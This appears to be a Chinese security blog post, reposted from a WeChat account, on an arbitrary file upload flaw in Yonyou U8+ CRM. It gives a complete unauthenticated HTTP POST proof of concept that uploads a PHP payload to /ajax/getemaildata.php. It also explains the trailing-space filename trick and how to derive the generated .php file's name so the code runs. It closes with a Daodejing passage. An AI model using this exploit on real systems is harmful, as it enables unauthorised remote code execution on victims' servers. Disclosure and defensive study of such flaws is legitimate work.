用友U8+ CRM 客户关系管理系统任意文件上传漏洞

0x001 漏洞复现

存在漏洞的位置为：/ajax/getemaildata.php

先上POC：

POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1Host: Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykS5RKgl8t3nwInMQContent-Length: 517------WebKitFormBoundarykS5RKgl8t3nwInMQContent-Disposition: form-data; name="file"; filename="test.php "Content-Type: text/plain<?php phpinfo();?>------WebKitFormBoundarykS5RKgl8t3nwInMQ

上传包中文件的名称后要添加一个空格，不然上传之后不会解析。

上传之后返回的路径为E:\U8SOFT\turbocrm70\code\www\tmpfile\，文件名称为mhtB356.tmp.mht；文件不解析，需要访问另一个文件（上传之后会在目录下生成两个文件一个tmp.mht文件和一个tmp.php文件），访问的解析文件格式为udp***.tmp.php，星号部分为返回的文件名的十六进制减去一，例如：B356——>45910(十六进制)，45909（十六进制减一）——>b355。

0x002 踩坑

请求时文件命后不加空格上传的文件生成的php文件为udp***.tmp.php_，导致不解析。

0x003 自己写的用友工具效果

现在属于敏感时期，工具公开怕被说成钓鱼，所以会在结束之后公开工具，大家敬请期待。

0x004 后言

 上善若水，水善利万物而不争。处众人之所恶，故几于道。居善地，心善渊，与善仁，言善信，正善治，事善能，动善时。夫唯不争，故无尤。

释：

     最善的人好像水一样，水善于滋润万物而不与万物相争。停留在众人都不喜欢的地方，所以最接近于“道”。最善的人，居处最善于选择地方，心胸善于保持沉静而深不可测，待人善于真诚、友爱和无私，说话善于恪守信用，为政善于精简处理，能把国家治理好，处事能够善于发挥所长，行动善于把握时机。最善的人所作所为正因为有不争的美德，所以没有过失，也就没有怨咎。

原文始发于微信公众号（Redus）：用友U8+ CRM 客户关系管理系统任意文件上传漏洞